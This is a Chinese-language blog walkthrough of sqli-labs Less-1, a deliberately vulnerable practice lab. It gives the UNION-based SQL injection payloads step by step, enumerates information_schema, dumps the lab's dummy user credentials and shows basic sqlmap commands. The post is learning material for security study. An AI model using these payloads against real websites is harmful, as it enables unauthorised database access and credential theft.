通过sqli-labs学习sql注入
下面开始各个关卡的通关记录,下面使用的是网上有人搭建好的网站,sqli-labs一共有75个关卡,虽然现在有很多种工具可以进行注入,例如sqlmap
,但是了解sql注入的原理还是很重要的,了解原理后再使用工具会更加深刻理解工具的作用,前面的关卡会写的比较详细,后面将会简略写,文中一些部分参考《MYSQL注入天书》
浏览器使用的是火狐浏览器,插件Hackbar
Less-1
-
将地址后面加入
?id=1'
提示You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
推测数据库查询语句为SELECT * FROM users WHERE id='$id'
所以使用单引号闭合 并使用--+
来注释后面的内容,注释的符号还有很多,这里暂时用这个。
输入http://43.247.91.228:84/Less-1/?id=1' or 1=1 --+
网页显示正常,很明显存在注入。
利用
order by
子句进行快速猜解表中的列数
http://43.247.91.228:84/Less-1/?id=1' order by 3 --+
改变 order by
后面的值 直到3时,网页显示正常,
使用联合查询语句union
查询数据库名和数据库版本
http://43.247.91.228:84/Less-1/?id=0 ' union select 1,database(),version() --+
网页显示,数据库名字为security
版本5.5.44
Welcome Dhakkan
Your Login name:security
Your Password:5.5.44-0ubuntu0.14.04.1
- 基础知识
mysql里默认有一个数据库名字叫
information_schema
,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。
TABLES表
:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname
的结果取之此表
COLUMNS
表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,注释等。show columns from schemaname.tablename
的结果取之此表。
构造语句查询数据库security
中的表
http://43.247.91.228:84/Less-1/?id=0 ' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
网页显示出Welcome Dhakkan
Your Login name:emails,referers,uagents,users
Your Password:3
第二行为数据库中的表 ,现在开始查询users
中的信息
http://43.247.91.228:84/Less-1/?id=0 ' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
访问后网页的内容为 Welcome Dhakkan
Your Login name:id,username,password
Your Password:3
第二行为users
表中的列,接下来查出里面的所有数据
http://43.247.91.228:84/Less-1/?id=0 ' union select 1,group_concat(id,'-',username,'-',password),3 from users --+
访问后Welcome Dhakkan
Your Login
name:1-Dumb-Dumb,2-Angelina-I-kill-you,3-Dummy-p@ssword,4-secure-crappy,5-stupid-stupidity,6-superman-genious,7-batman-mob!le,8-admin-admin,9-admin1-admin1,10-admin2-admin2,11-admin3-admin3,12-dhakkan-dumbo,14-admin4-admin4
Your Password:3
所有数据就这样出来了,这是最基本的注入,没有任何过滤,所以把他放到sqlmap
里面很快就能跑出来,下面简单介绍一下sqlmap
sqlmap的简单使用
Sqlmap是一种开源的渗透测试工具,是用python(python2版本)编写的,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。
支持的数据库:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB
SQL注入技术:boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band
枚举数据:users, password hashes, privileges, roles, databases, tables and columns
sqlmap
的安装比较简单,这里根据具体题目介绍一些使用方法,环境是windows
在sqlmap
目录下打开cmd
窗口输入python2 sqlmap.py -u http://43.247.91.228:84/Less-1/?id=1
之后窗口显示
1 | ___ |
在Parameter
下有四个结果,分别显示了各个注入类型和payload
,说明存在注入点
之后分别输入
1 | python2 sqlmap.py -u http://43.247.91.228:84/Less-1/?id=1 -D security --tables #查询所有表 |
最后结果
1 | Database: security |
结语
这次只详细写了一个关卡的通关介绍,以后所有关卡只简单写步骤,记录各种注入的方法,因为本人也刚开始学习,所以写的都是很基础的东西,主要是通过学习,记录各种注入的过程。
本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/51ef88ce.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!